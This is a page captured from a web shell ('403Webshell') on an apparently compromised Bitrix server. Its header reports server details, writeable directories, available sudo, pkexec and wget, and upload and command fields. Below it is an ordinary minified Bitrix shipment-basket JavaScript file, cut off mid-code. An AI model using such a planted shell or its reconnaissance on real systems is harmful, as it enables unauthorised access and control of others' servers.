403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/sale/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/sale/admin/order_shipment_basket.min.js
BX.Sale.Admin.ShipmentBasket=function(e){this.products=e.products;this.useStoreControl=e.useStoreControl||false;BX.Sale.Admin.OrderBasketEdit.apply(this,arguments);if(Object.keys(this.products).length==0){var t=BX(this.tableId);t.appendChild(this.createEmptyFooter())}};BX.Sale.Admin.ShipmentBasket.prototype=Object.create(BX.Sale.Admin.OrderBasketEdit.prototype);BX.Sale.Admin.ShipmentBasket.prototype.getProductBasketCode=function(e){return e.BASKET_ID};BX.Sale.Admin.ShipmentBasket.prototype.createEmptyFooter=function(){var e=BX.message("SALE_ORDER_SHIPMENT_VIEW_BASKET_NO_PRODUCTS");var t=Object.keys(this.visibleColumns).length+1;var r=BX.create("tbody",{props:{id:this.idPrefix+"_empty_footer"}});var a=BX.create("tr");var i=BX.create("td",{text:e});i.style.textAlign="center";i.style.fontSize="1.4em";i.colSpan=t;a.appendChild(i);r.appendChild(a);return r};BX.Sale.Admin.ShipmentBasket.prototype.createProductRow=function(e,t){var r,a={},i=this,s=BX.create("tbody",{props:{id:this.createProductRowId(e,t)},style:{textAlign:"left",borderBottom:"1px solid #DDD"}}),n=BX.create("tr",{style:{"vertical-align":"top"}});if(t.IS_SET_ITEM!="Y"){s.setAttribute("data-basket-code",e);if(t.IS_SET_PARENT=="Y"&&t.OLD_PARENT_ID)s.setAttribute("data-old-parent-id-parent",t.OLD_PARENT_ID)}else{BX.addClass(s,"bundle-child-"+t.OLD_PARENT_ID);BX.addClass(s,"basket-bundle-child-hidden");BX.addClass(s,"bundle-child")}n.setAttribute("data-index",1);for(var o in this.visibleColumns){if(!this.visibleColumns.hasOwnProperty(o))continue;r=this.createProductCell(e,t,o,1);if(r)n.appendChild(r)}s.appendChild(n);return s};BX.Sale.Admin.ShipmentBasket.prototype.createSkuPropsTable=BX.Sale.Admin.OrderBasket.prototype.createSkuPropsTable;BX.Sale.Admin.ShipmentBasket.prototype.createProductCell=function(e,t,r,a){var i=null,s=[],n=this,o=t[r],d="",p=null,l=0,c=null;switch(r){case"NUMBER":s.push(BX.create("span",{props:{id:this.idPrefix+"sale_order_product_"+e+"_number"},text:this.index}));break;case"NAME":var h;if(t.IS_SET_PARENT=="Y"&&t.SET_ITEMS){var u=BX.create("a",{props:{href:"javascript:void(0);",className:"dashed-link show-set-link"},html:BX.message("SALE_ORDER_BASKET_EXPAND")});BX.bind(u,"click",(function(e){var r=e.target||e.srcElement;n.onToggleBundleChildren(t.OLD_PARENT_ID,r)}));s.push(BX.create("div",{children:[u]}))}if(t.EDIT_PAGE_URL)h=BX.create("a",{props:{href:t.EDIT_PAGE_URL,target:"_blank"},text:o});else h=BX.create("span",{text:o});s.push(h);break;case"QUANTITY":if(!!t.MEASURE_TEXT)s.push(document.createTextNode(" "+t.MEASURE_TEXT+" "));s.push(BX.create("span",{props:{},text:t.QUANTITY}));s.push(BX.create("input",{props:{id:e+"_quantity",type:"hidden",value:t.QUANTITY}}));break;case"AVAILABLE":s.push(BX.create("span",{text:o}));break;case"PRICE":s.push(BX.create("span",{text:" "+BX.Sale.Admin.OrderEditPage.currencyLang+" "}));var B=BX.create("input",{props:{type:"text",name:this.getFieldName(e,"PRICE"),value:t.PRICE}});B.style.width="40px";s.push(B);break;case"SUM":s.push(BX.create("strong",{props:{id:this.idPrefix+"sale_order_edit_product_"+e+"_summ"},text:BX.Sale.Admin.OrderEditPage.currencyFormat(t.PRICE*t.QUANTITY)}));break;case"IMAGE":s.push(this.createFieldImage(e,t,r));d="adm-s-order-table-ddi-table-img";break;case"STORE":if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>0){for(l in t.BARCODE_INFO){if(!t.BARCODE_INFO.hasOwnProperty(l))continue;for(p in t.STORES){if(!t.STORES.hasOwnProperty(p))continue;if(l==t.STORES[p].STORE_ID){s.push(BX.create("br"));s.push(BX.create("span",{text:t.STORES[p].STORE_NAME}));break}}}}else{s.push(BX.create("span"))}s.push(BX.create("span"));break;case"AMOUNT":if(!!t.MEASURE_TEXT){s.push(BX.create("span",{text:t.AMOUNT+" "+t.MEASURE_TEXT+" "}))}else{s.push(BX.create("span",{text:t.AMOUNT}))}break;case"CUR_AMOUNT":if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>0){for(l in t.BARCODE_INFO){if(!t.BARCODE_INFO.hasOwnProperty(l))continue;var E=0;for(p in t.BARCODE_INFO[l]){if(t.BARCODE_INFO[l].hasOwnProperty(p))E+=parseFloat(t.BARCODE_INFO[l][p].QUANTITY)}var S=!!t.MEASURE_TEXT?t.MEASURE_TEXT:"";s.push(BX.create("br"));s.push(BX.create("span",{text:E+" "+S}))}}else{s.push(BX.create("span"))}break;case"REMAINING_QUANTITY":if(!!t.MEASURE_TEXT){s.push(BX.create("span",{text:" "+t.MEASURE_TEXT+" "}))}c=BX.create("span",{props:{id:e+"_store_remaining_quantity_"+a,className:e+"_store_remaining_quantity"},text:t.STORES.length>0&&t.STORES[0].hasOwnProperty("AMOUNT")?t.STORES[0].AMOUNT:"0"});s.push(c);break;case"BARCODE":if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>0&&(this.useStoreControl||this.isProductSupportedMarkingCode(t))){var m=Object.keys(t.BARCODE_INFO).length;for(var _=1;_<=m;_++){s.push(this.createBlockBarcode(e,t,_))}}else{s.push(BX.create("span"))}break;case"PROPS":var A=this.createFieldSkuProps(e,t,r);if(A)s.push(A);else s.push(BX.create("span"));break}if(r.indexOf("PROPERTY_")===0){var T;if(t.PRODUCT_PROPS_VALUES&&t.PRODUCT_PROPS_VALUES[r+"_VALUE"])T=t.PRODUCT_PROPS_VALUES[r+"_VALUE"];else T="";s.push(BX.create("span",{html:T}))}if(s.length>0){i=BX.create("td");BX.addClass(i,r);switch(r){case"IMAGE":i.style.textAlign="center";break;case"NUMBER":i.style.textAlign="center";i.style.width="30px";break;case"NAME":i.style.textAlign="left";break;case"QUANTITY":case"REMAINING_QUANTITY":case"CUR_AMOUNT":case"AMOUNT":i.style.textAlign="right";break;case"BARCODE":case"STORE":i.style.paddingLeft="20px"}if(d)BX.addClass(i,d);while(s.length>0){var f=s.pop();if(!!f)i.appendChild(f)}}return i};BX.Sale.Admin.ShipmentBasket.prototype.isProductSupportedMarkingCode=function(e){return e&&e.IS_SUPPORTED_MARKING_CODE&&e.IS_SUPPORTED_MARKING_CODE==="Y"};BX.Sale.Admin.ShipmentBasket.prototype.createBlockBarcode=function(e,t,r){if(!t.IS_SET_PARENT||t.IS_SET_PARENT!=="Y"){var a=parseInt(t.QUANTITY)===1?BX.Sale.Admin.Order.ShipmentBasketBarcodeView.TYPE_INPUT:BX.Sale.Admin.Order.ShipmentBasketBarcodeView.TYPE_LINK;var i=new BX.Sale.Admin.Order.ShipmentBasketBarcodeView({basketId:e,product:t,index:r,readonly:true,type:a,orderId:this.orderId,useStoreControl:this.useStoreControl});return i.render()}else{return BX.create("span")}};BX.Sale.Admin.ShipmentBasket.prototype.createFieldImage=function(e,t,r){var a,i;if(t.PICTURE_URL){a=BX.create("img",{props:{src:t.PICTURE_URL}})}else{a=BX.create("div",{props:{className:"no_foto"},text:BX.message("SALE_ORDER_BASKET_NO_PICTURE")})}i=BX.create("span",{children:[a]});return i};BX.Sale.Admin.ShipmentBasketEdit=function(e){this.link=e.link;this.shipment=null;this.products=e.products;this.isShipped=!!e.isShipped;this.useStoreControl=e.useStoreControl||false;this.orderId=e.orderId||0;BX.Sale.Admin.OrderBasketEdit.apply(this,arguments);this.index=0;this.basket=null;this.productsOrder=e.productsOrder;this.updateShipmentTimer=null;this.removeEmptyFooter(this.idPrefix);if(Object.keys(this.products).length==0){var t=BX(this.tableId);t.appendChild(this.createEmptyFooter())}this.initGroupActions()};BX.Sale.Admin.ShipmentBasketEdit.prototype=Object.create(BX.Sale.Admin.OrderBasketEdit.prototype);BX.Sale.Admin.ShipmentBasketEdit.prototype.createProductCell=function(e,t,r,a){var i=null,s=[],n=this,o=t[r],d="",p=[],l=null,c=this.useStoreControl&&!!t.STORES&&t.STORES.length>0&&!this.isServiceProduct(t);switch(r){case"NUMBER":if(t.IS_SET_PARENT=="Y"&&t.SET_ITEMS>0||t.IS_SET_PARENT&&t.IS_SET_ITEM=="N"||!t.MODULE){s.push(BX.create("span",{props:{id:this.idPrefix+"sale_order_product_"+e+"_number"},text:this.index}))}else{s.push(BX.create("span"))}break;case"NAME":var h;if(t.IS_SET_PARENT=="Y"&&t.SET_ITEMS){var u=BX.create("a",{props:{href:"javascript:void(0);",className:"dashed-link show-set-link"},html:BX.message("SALE_ORDER_BASKET_EXPAND")});BX.bind(u,"click",(function(e){var r=e.target||e.srcElement;n.onToggleBundleChildren(t.OLD_PARENT_ID,r)}));s.push(BX.create("div",{children:[u]}))}if(t.EDIT_PAGE_URL)h=BX.create("a",{props:{href:t.EDIT_PAGE_URL,target:"_blank"},text:o});else h=BX.create("span",{text:o});s.push(h);break;case"QUANTITY":if(!!t.MEASURE_TEXT)s.push(document.createTextNode(" "+t.MEASURE_TEXT+" "));s.push(BX.create("span",{props:{},text:t.QUANTITY}));s.push(BX.create("input",{props:{id:e+"_quantity",name:this.getFieldName(e,"QUANTITY"),type:"hidden",value:t.QUANTITY}}));break;case"AVAILABLE":s.push(BX.create("span",{text:o}));break;case"IMAGE":s.push(this.createFieldImage(e,t,r));d="adm-s-order-table-ddi-table-img";break;case"AMOUNT":s=this.createFieldAmount(s,t);break;case"STORE":if(t.IS_SET_PARENT!="Y"&&c){p=[this.createBlockStore(e,t,a)];if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>0)p=this.recoveryDeliveryStore(t,p[0]);if(this.isShipped){for(l in p){if(!p.hasOwnProperty(l))continue;var B=BX.findChild(p[l],{tag:"select"},true);B.parentNode.appendChild(BX.create("input",{props:{type:"hidden",name:B.getAttribute("name"),value:B.options[B.selectedIndex].value}}))}}if(t.STORES&&parseInt(t.QUANTITY)>1){var E=BX.create("span",{props:{className:"adm-bus-shipment-basket-store-add"},text:BX.message("SALE_ORDER_SHIPMENT_BASKET_ADD_NEW_STORE")});var S=t.STORES.length;if(S<2||p.length==S)BX.hide(E);BX.bind(E,"click",BX.proxy((function(){if(this.isShipped){BX.Sale.Admin.OrderEditPage.showDialog(BX.message("SALE_ORDER_SHIPMENT_BASKET_ERROR_ALREADY_SHIPPED"));return}var e=BX.findParent(E,{tag:"tr"},true);var r=BX.findChildByClassName(e,"STORE");var a=BX.findChildren(r,{tag:"div"});var i=a.length+1;for(var s in a){if(!a.hasOwnProperty(s))continue;var n=a[s].getAttribute("data-index");if(n==i)i++}var o=this.createBlockStore(this.getProductBasketCode(t),t,i);r.insertBefore(o,E);var d=BX.findChildByClassName(e,"CUR_AMOUNT");var p=this.createBlockCurAmount(this.getProductBasketCode(t),t,i);d.appendChild(p);var l=BX.findChildByClassName(e,"REMAINING_QUANTITY");var c=this.createBlockRemainingQuantity(this.getProductBasketCode(t),t,i);l.appendChild(c);var h=BX.findChildByClassName(e,"BARCODE");var u=this.createBlockBarcode(this.getProductBasketCode(t),t,i);h.appendChild(u);if(t["STORES"].length<i+1)BX.hide(E)}),this));p.push(E)}for(l in p){if(p.hasOwnProperty(l))s.unshift(p[l])}}else{s.push(BX.create("span"))}break;case"CUR_AMOUNT":if(t.IS_SET_PARENT!="Y"&&c){p=[this.createBlockCurAmount(e,t,a)];if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>0)p=this.recoveryDeliveryCurAmount(t,p[0]);for(l in p){if(p.hasOwnProperty(l))s.unshift(p[l])}}else{s.push(BX.create("span"))}break;case"REMAINING_QUANTITY":if(t.IS_SET_PARENT!="Y"&&t.MODULE&&c){p=[this.createBlockRemainingQuantity(e,t,a)];if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>0)p=this.recoveryRemainingQuantity(t,p[0]);for(l in p){if(p.hasOwnProperty(l))s.unshift(p[l])}}else{s.push(BX.create("span"))}break;case"BARCODE":if(t.IS_SET_PARENT!="Y"&&(c||this.isProductSupportedMarkingCode(t))){var m=1;if(!!t.BARCODE_INFO&&Object.keys(t.BARCODE_INFO).length>1){m=Object.keys(t.BARCODE_INFO).length}for(var _=m;_>0;_--){s.push(this.createBlockBarcode(e,t,_))}}else{s.push(BX.create("span"))}break;case"PROPS":var A=this.createFieldSkuProps(e,t,r);if(A)s.push(A);else s.push(BX.create("span"));break}if(r.indexOf("PROPERTY_")===0){if(t.PRODUCT_PROPS_VALUES&&t.PRODUCT_PROPS_VALUES[r+"_VALUE"])s.push(BX.create("span",{html:t.PRODUCT_PROPS_VALUES[r+"_VALUE"]}))}if(s.length>0){i=BX.create("td");BX.addClass(i,r);switch(r){case"NUMBER":i.style.width="45px";i.style.textAlign="center";break;case"NAME":case"STORE":i.style.textAlign="left";break;case"QUANTITY":case"REMAINING_QUANTITY":case"AMOUNT":case"CUR_AMOUNT":i.style.textAlign="right";break;case"IMAGE":case"BARCODE":i.style.textAlign="center";break}if(d)BX.addClass(i,d);while(s.length>0){var T=s.pop();if(!!T)i.appendChild(T)}}return i};BX.Sale.Admin.ShipmentBasketEdit.prototype.isProductSupportedMarkingCode=function(e){return e&&e.IS_SUPPORTED_MARKING_CODE&&e.IS_SUPPORTED_MARKING_CODE==="Y"};BX.Sale.Admin.ShipmentBasketEdit.prototype.createFieldAmount=function(e,t){var r=this.getProductBasketCode(t);if(!!t.MEASURE_TEXT){e.push(BX.create("span",{text:" "+t.MEASURE_TEXT+" "}))}var a=BX.create("input",{props:{type:"text",name:this.getFieldName(r,"AMOUNT"),value:t.AMOUNT,id:r+"_amount",autocomplete:"off"},attrs:{readOnly:this.isShipped},style:{width:"25px"}});BX.bind(a,"keydown",(function(e){if(!e)e=window.event;if(!e)return;if(e.keyCode==13)a.blur()}));if(t.IS_SET_ITEM=="Y")a.readOnly=true;BX.bind(a,"change",BX.proxy((function(){if(t.IS_SET_PARENT=="Y"){var e=t.SET_ITEMS;for(var r in e){if(!e.hasOwnProperty(r))continue;var i=this.getProductBasketCode(e[r]);var s=BX(i+"_"+"amount");s.value=t.BASE_ELEMENTS_QUANTITY[e[r].OFFER_ID]*a.value}}var n=BX.findParent(a,{tag:"tr"},true);var o=BX.findChildrenByClassName(n,this.getProductBasketCode(t)+"_cur_amount",true);if(!!t.STORES&&t.STORES.length==1)o[0].value=a.value;this.updateShipment()}),this));e.push(a);return e};BX.Sale.Admin.ShipmentBasketEdit.prototype.recoveryDeliveryStore=function(e,t){var r=[t];var a=1;for(var i in e.BARCODE_INFO){if(!e.BARCODE_INFO.hasOwnProperty(i))continue;var s=r[r.length-1];var n=BX.findChild(s,{tag:"select"},true);if(n){for(var o in n.options){if(!n.options.hasOwnProperty(o))continue;var d=n.options[o];if(d.value==i){n.options[o].selected=true;break}}if(Object.keys(e.BARCODE_INFO).length>a){var p=this.createBlockStore(this.getProductBasketCode(e),e,++a);r.push(p)}}}return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.recoveryDeliveryCurAmount=function(e,t){var r=[t];var a=1;var i=this.getProductBasketCode(e);for(var s in e.BARCODE_INFO){if(!e.BARCODE_INFO.hasOwnProperty(s))continue;var n=r[r.length-1];var o=e["BARCODE_INFO"][s];for(var d in o){if(!o.hasOwnProperty(d))continue;var p=BX.findChildByClassName(n,i+"_cur_amount",true);if(e.BARCODE_MULTI==="N"&&e.IS_SUPPORTED_MARKING_CODE==="N"){p.value=o[d].QUANTITY}else{if(d==0){p.value=0}p.value=parseFloat(p.value)+parseFloat(o[d].QUANTITY)}}if(Object.keys(e.BARCODE_INFO).length>a){var l=this.createBlockCurAmount(this.getProductBasketCode(e),e,++a);r.push(l)}}return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.recoveryRemainingQuantity=function(e,t){var r=[t];var a=1;var i=this.getProductBasketCode(e);for(var s in e.BARCODE_INFO){if(!e.BARCODE_INFO.hasOwnProperty(s))continue;var n=r[r.length-1];var o=BX.findChildByClassName(n,i+"_store_remaining_quantity");for(var d in e["STORES"]){if(!e["STORES"].hasOwnProperty(d))continue;if(e["STORES"][d].STORE_ID==s){o.innerHTML=e["STORES"][d].AMOUNT;break}}if(Object.keys(e.BARCODE_INFO).length>a)r.push(this.createBlockRemainingQuantity(this.getProductBasketCode(e),e,++a))}return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.createEmptyFooter=function(){var e=BX.message("SALE_ORDER_SHIPMENT_BASKET_NO_PRODUCTS");var t=Object.keys(this.visibleColumns).length+2;var r=BX.create("tbody",{props:{id:this.idPrefix+"_empty_footer"},children:[BX.create("tr",{children:[BX.create("td",{text:e,attrs:{colspan:t},style:{"text-align":"center","font-size":"1.4em"}})]})]});return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.moveToSystemBasket=function(e){if(this.isShipped){BX.Sale.Admin.OrderEditPage.showDialog(BX.message("SALE_ORDER_SHIPMENT_BASKET_ERROR_ALREADY_SHIPPED"));return}var t=null;this.link.products[e]=this.products[e];delete this.products[e];var r=BX(this.idPrefix+"sale-order-basket-product-"+e);if(r){t=r.parentNode;if(t)t.removeChild(r)}var a=r.getAttribute("data-old-parent-id-parent");if(a){var i=BX.findChildrenByClassName(t,"bundle-child-"+a,false);for(var s in i){if(!i.hasOwnProperty(s))continue;i[s].parentNode.removeChild(i[s])}}this.removeEmptyFooter(this.idPrefix);if(Object.keys(this.products).length==0){var n=BX(this.tableId);n.appendChild(this.createEmptyFooter())}this.setRowNumbers();this.updateCountBasketItems();this.updateShipment()};BX.Sale.Admin.ShipmentBasketEdit.prototype.updateShipment=function(){var e=this;if(this.updateShipmentTimer)clearTimeout(this.updateShipmentTimer);this.updateShipmentTimer=setTimeout(BX.proxy((function(){e.shipment.updateDeliveryInfo()}),this),2e3)};BX.Sale.Admin.ShipmentBasketEdit.prototype.removeEmptyFooter=function(e){var t=BX(e+"_empty_footer");if(t)BX.remove(t)};BX.Sale.Admin.ShipmentBasketEdit.prototype.productSet=function(e,t){var r=BX(this.tableId);var a=this.getProductBasketCode(e);r.appendChild(this.productAdd(e));if(e.IS_SET_ITEM!="Y")this.setProductsCount(++this.productsCount);if(e.SET_ITEMS&&e.SET_ITEMS.length)for(var i=e.SET_ITEMS.length-1;i>=0;i--)this.productSet(e.SET_ITEMS[i],true);this.setRowNumbers();this.updateCountBasketItems()};BX.Sale.Admin.ShipmentBasketEdit.prototype.productAdd=function(e){var t=this.getProductBasketCode(e);var r=BX(this.createProductRowId(t,e));if(r)BX.remove(r);return this.createProductRow(t,e)};BX.Sale.Admin.ShipmentBasketEdit.prototype.createDivWrapper=function(e,t,r){var a=this.getDivWrapperClassName(e,t,r);var i=BX.create("div",{props:{className:a},style:{height:"29px","white-space":"nowrap"}});i.setAttribute("data-index",r);if(r>1)i.style.marginTop="5px";return i};BX.Sale.Admin.ShipmentBasketEdit.prototype.getDivWrapperClassName=function(e,t,r){var a=this.getProductBasketCode(e);var i=t+"-"+a+"-"+r;if(e.OLD_PARENT_ID)i+="-"+e.OLD_PARENT_ID;return i};BX.Sale.Admin.ShipmentBasketEdit.prototype.createBlockStore=function(e,t,r){if(!!t.STORES&&t.STORES.length>0){var a=this.createDivWrapper(t,"store",r);BX.addClass(a,"barcode_record");var i=BX.create("select",{props:{name:this.getFieldName(e,"BARCODE_INFO")+"["+r+"][STORE_ID]",className:"store_select, "+e+"_select_store_"+r},attrs:{disabled:this.isShipped},style:{width:"175px"}});for(var s in t.STORES){if(!t.STORES.hasOwnProperty(s))continue;var n=BX.create("option",{props:{value:t.STORES[s].STORE_ID},text:t.STORES[s].STORE_NAME});i.appendChild(n)}BX.bind(i,"change",BX.proxy((function(){var a=i.options[i.selectedIndex].value;var s=BX(e+"_store_remaining_quantity_"+r);for(var n in t.STORES){if(!t.STORES.hasOwnProperty(n))continue;if(t.STORES[n].STORE_ID==a)s.innerHTML=t.STORES[n].AMOUNT}}),this));a.appendChild(i);if(Object.keys(t.STORES).length>1&&!this.isShipped){var o=BX.create("div",{props:{className:"btdel"}});BX.bind(o,"click",BX.proxy((function(){var e=BX.findParent(o,{tag:"div"});var r=e.getAttribute("data-index");var a=BX.findParent(o,{tag:"tr"},true);var i=BX.findChildrenByClassName(a,"barcode_record",true);if(i.length<=1)return;if(t["STORES"].length<r+1){var s=BX.findChildByClassName(a,"adm-bus-shipment-basket-store-add");s.style.display="inline"}var n=["store","remaining_quantity","cur_amount","barcode"];for(var d in n){if(!n.hasOwnProperty(d))continue;var p=BX.findChildByClassName(a,this.getDivWrapperClassName(t,n[d],r),true);if(p)BX.remove(p)}var l=0;var c=BX.findChildrenByClassName(a,this.getProductBasketCode(t)+"_cur_amount",true);for(d in c){if(c.hasOwnProperty(d))l+=parseFloat(c[d].value)}var h=BX(this.getProductBasketCode(t)+"_amount");if(l>parseFloat(h.value)){for(d in c){if(c.hasOwnProperty(d))BX.addClass(c[d],"adm-bus-shipment-basket-error")}}else{for(d in c){if(c.hasOwnProperty(d)&&BX.hasClass(c[d],"adm-bus-shipment-basket-error"))BX.removeClass(c[d],"adm-bus-shipment-basket-error")}}}),this));a.appendChild(o)}return a}else{return BX.create("span")}};BX.Sale.Admin.ShipmentBasketEdit.prototype.createBlockRemainingQuantity=function(e,t,r){var a=this.createDivWrapper(t,"remaining_quantity",r);var i=null;if(!!t.MEASURE_TEXT){i=BX.create("span",{text:" "+t.MEASURE_TEXT+" "})}var s=BX.create("span",{props:{id:e+"_store_remaining_quantity_"+r,className:e+"_store_remaining_quantity"},text:!!t.STORES&&t.STORES.length>0&&t.STORES[0].hasOwnProperty("AMOUNT")?t.STORES[0].AMOUNT:"0"});a.appendChild(s);if(i)a.appendChild(i);return a};BX.Sale.Admin.ShipmentBasketEdit.prototype.createBlockCurAmount=function(e,t,r){if(!t.MODULE)return BX.create("span");var a=this.createDivWrapper(t,"cur_amount",r);var i=null;if(!!t.MEASURE_TEXT)i=BX.create("span",{text:" "+t.MEASURE_TEXT+" "});var s=BX(e+"_amount");if(!!s){var n=BX.findParent(s,{tag:"tr"},true);var o=BX.findChildrenByClassName(n,e+"_cur_amount",true);var d=parseFloat(s.value);var p=0;for(var l in o){if(o.hasOwnProperty(l))p+=parseFloat(o[l].value)}var c=p>=d?0:d-p}else{c=t.AMOUNT}var h=BX.create("input",{props:{type:"text",name:this.getFieldName(e,"BARCODE_INFO")+"["+r+"][QUANTITY]",value:c,className:e+"_cur_amount",id:e+"_cur_amount_"+r,autocomplete:"off"},attrs:{readOnly:this.isShipped},style:{width:"25px"}});BX.bind(h,"keydown",(function(e){if(!e)e=window.event;if(!e)return;if(e.keyCode==13)h.blur()}));BX.bind(h,"change",BX.proxy((function(){var r=BX.findParent(h,{tag:"tr"},true);var a=BX.findChildrenByClassName(r,e+"_cur_amount",true);var i=BX(e+"_amount");if(!!t.STORES&&t.STORES.length==1&&t.IS_SET_ITEM!="Y")i.value=a[0].value}),this));a.appendChild(h);if(i)a.appendChild(i);return a};BX.Sale.Admin.ShipmentBasketEdit.prototype.getActualStoreQuantity=function(e,t){var r=BX(e+"_cur_amount_"+t);return r?parseFloat(r.value):0};BX.Sale.Admin.ShipmentBasketEdit.prototype.getActualAmount=function(e){var t=BX(e+"_amount");return t?parseFloat(t.value):0};BX.Sale.Admin.ShipmentBasketEdit.prototype.getActualBarcodeQuantity=function(e,t){var r=0;if(this.useStoreControl){r=this.getActualStoreQuantity(e,t)}else{r=this.getActualAmount(e)}return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.getActualStoreIdByIndex=function(e,t){var r=this.getFieldName(e,"BARCODE_INFO")+"["+t+"][STORE_ID]",a=document.getElementsByName(r);var i=0;if(a&&a[0]){i=parseInt(a[0].value)}return i};BX.Sale.Admin.ShipmentBasketEdit.prototype.createBlockBarcode=function(e,t,r){if(!t.IS_SET_PARENT||t.IS_SET_PARENT!=="Y"){var a=parseInt(t.QUANTITY)===1?BX.Sale.Admin.Order.ShipmentBasketBarcodeView.TYPE_INPUT:BX.Sale.Admin.Order.ShipmentBasketBarcodeView.TYPE_BUTTON;var i=this.createDivWrapper(t,"barcode",r),s={basketId:e,product:t,index:r,type:a,orderId:this.orderId,useStoreControl:this.useStoreControl,dataFieldTemplate:"<input"+' type="hidden"'+' name="'+this.getFieldName(e,"BARCODE_INFO")+"["+r+'][BARCODE][#ITERATOR#][#DATA_TYPE#]"'+' class="1_barcode_#DATA_TYPE_LOWER#">'},n=null;if(this.isShipped){n=new BX.Sale.Admin.Order.ShipmentBasketBarcodeView(s)}else{s.getActualBarcodeQuantityMethod=this.getActualBarcodeQuantity.bind(this);s.getActualStoreIdByIndexMethod=this.getActualStoreIdByIndex.bind(this);n=new BX.Sale.Admin.Order.ShipmentBasketBarcodeEdit(s)}i.appendChild(n.render());return i}else{return BX.create("span")}};BX.Sale.Admin.ShipmentBasketEdit.prototype.createProductMenuContent=function(e){return[{ICON:"delete",TEXT:BX.message("SALE_ORDER_BASKET_PROD_MENU_DELETE"),ACTION:this.objName+'.moveToSystemBasket("'+e+'")'}]};BX.Sale.Admin.ShipmentBasketEdit.prototype.createProductRow=function(e,t){var r,a={},i=this,s=BX.create("tbody",{props:{id:this.createProductRowId(e,t)},style:{textAlign:"left",borderBottom:"1px solid #DDD"}}),n=this.createMenuCell(e,t),o=BX.create("tr",{style:{"vertical-align":"top"}});if(t.IS_SET_ITEM!="Y"){var d=this.createHiddenFields(e,t);s.setAttribute("data-basket-code",e);if(t.IS_SET_PARENT=="Y"&&t.OLD_PARENT_ID)s.setAttribute("data-old-parent-id-parent",t.OLD_PARENT_ID)}else{BX.addClass(s,"bundle-child-"+t.OLD_PARENT_ID);BX.addClass(s,"basket-bundle-child-hidden");BX.addClass(s,"bundle-child")}o.setAttribute("data-index",1);if(this.createProductBasement)n.rowSpan=2;o.appendChild(n);o.appendChild(this.createCheckboxField(t));for(var p in this.visibleColumns){if(!this.visibleColumns.hasOwnProperty(p))continue;r=this.createProductCell(e,t,p,1);if(r)o.appendChild(r)}s.appendChild(o);return s};BX.Sale.Admin.ShipmentBasketEdit.prototype.createCheckbox=function(e,t){var r=BX.create("input",{props:{type:"checkbox",className:"checkboxForDelete"},style:{margin:"0"}});r.readOnly=this.isShipped;r.setAttribute("data-basket-code",e);BX.bind(r,"click",BX.proxy((function(){var e=BX(this.idPrefix+"_selected_count");if(!e)return;var t=parseInt(e.innerHTML);var a=BX("action_delete_button");if(!!r.checked)e.innerHTML=++t;else e.innerHTML=--t;if(t<=0)BX.addClass(a,"adm-edit-disable");else BX.removeClass(a,"adm-edit-disable")}),this));return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.createCheckboxField=function(e){var t=this.getProductBasketCode(e);var r=BX.create("td");if(e.IS_SET_PARENT=="Y"&&e.SET_ITEMS>0||e.IS_SET_PARENT&&e.IS_SET_ITEM=="N"||!e.MODULE){r.appendChild(this.createCheckbox(t,e))}var a=["MODULE","PRODUCT_ID","OFFER_ID","ORDER_DELIVERY_BASKET_ID","BASKET_ID"];for(var i in a){if(!a.hasOwnProperty(i))continue;if(e[a[i]]){r.appendChild(BX.create("input",{props:{type:"hidden",name:this.getFieldName(t,a[i]),value:e[a[i]]}}))}}return r};BX.Sale.Admin.ShipmentBasketEdit.prototype.createMenuCell=function(e,t){var r,a=this.createProductMenuContent(e);if(a.length<=0)return false;if(t.IS_SET_ITEM!="Y"){r=BX.create("span",{props:{className:"adm-s-order-item-title-icon"}});BX.bind(r,"click",BX.proxy((function(e){r.blur();BX.adminList.ShowMenu(r,a)}),this))}else{r=BX.create("span",{html:"&nbsp;"})}return BX.create("td",{props:{className:"tac",id:this.idPrefix+"sale-order-basket-product-"+e+"-menu"},children:[r]})};BX.Sale.Admin.ShipmentBasketEdit.prototype.updateCountBasketItems=function(){var e=BX(this.idPrefix+"_count");var t=BX(this.tableId);var r=0;var a=null;if(e){for(var i=0,s=t.tBodies.length;i<s;i++){if(BX.hasClass(t.tBodies[i],"bundle-child"))continue;if(a=t.tBodies[i].getAttribute("data-basket-code"))r++}e.innerHTML=r}};BX.Sale.Admin.ShipmentBasketEdit.prototype.getProductBasketCode=function(e){return e.BASKET_ID};BX.Sale.Admin.ShipmentBasketEdit.prototype.groupMoveToSystemBasket=function(e){var t=BX("action_target");var r=null;if(t.checked){if(confirm(BX.message("SALE_ORDER_SHIPMENT_BASKET_ALL_PRODUCTS_DEL"))){for(r in this.products){if(this.products.hasOwnProperty(r)&&!!this.products[r]){var a=this.getProductBasketCode(this.products[r]);this.moveToSystemBasket(a);var i=BX(this.createProductRowId(a,this.products[r]));BX.remove(i)}}BX.addClass(e,"adm-edit-disable")}}else{var s=BX(this.tableId);var n=BX.findChildrenByClassName(s,"checkboxForDelete",true);if(!BX.hasClass(e,"adm-edit-disable")&&confirm(BX.message("SALE_ORDER_SHIPMENT_BASKET_SELECTED_PRODUCTS_DEL"))){var o=BX(this.idPrefix+"_selected_count");for(r in 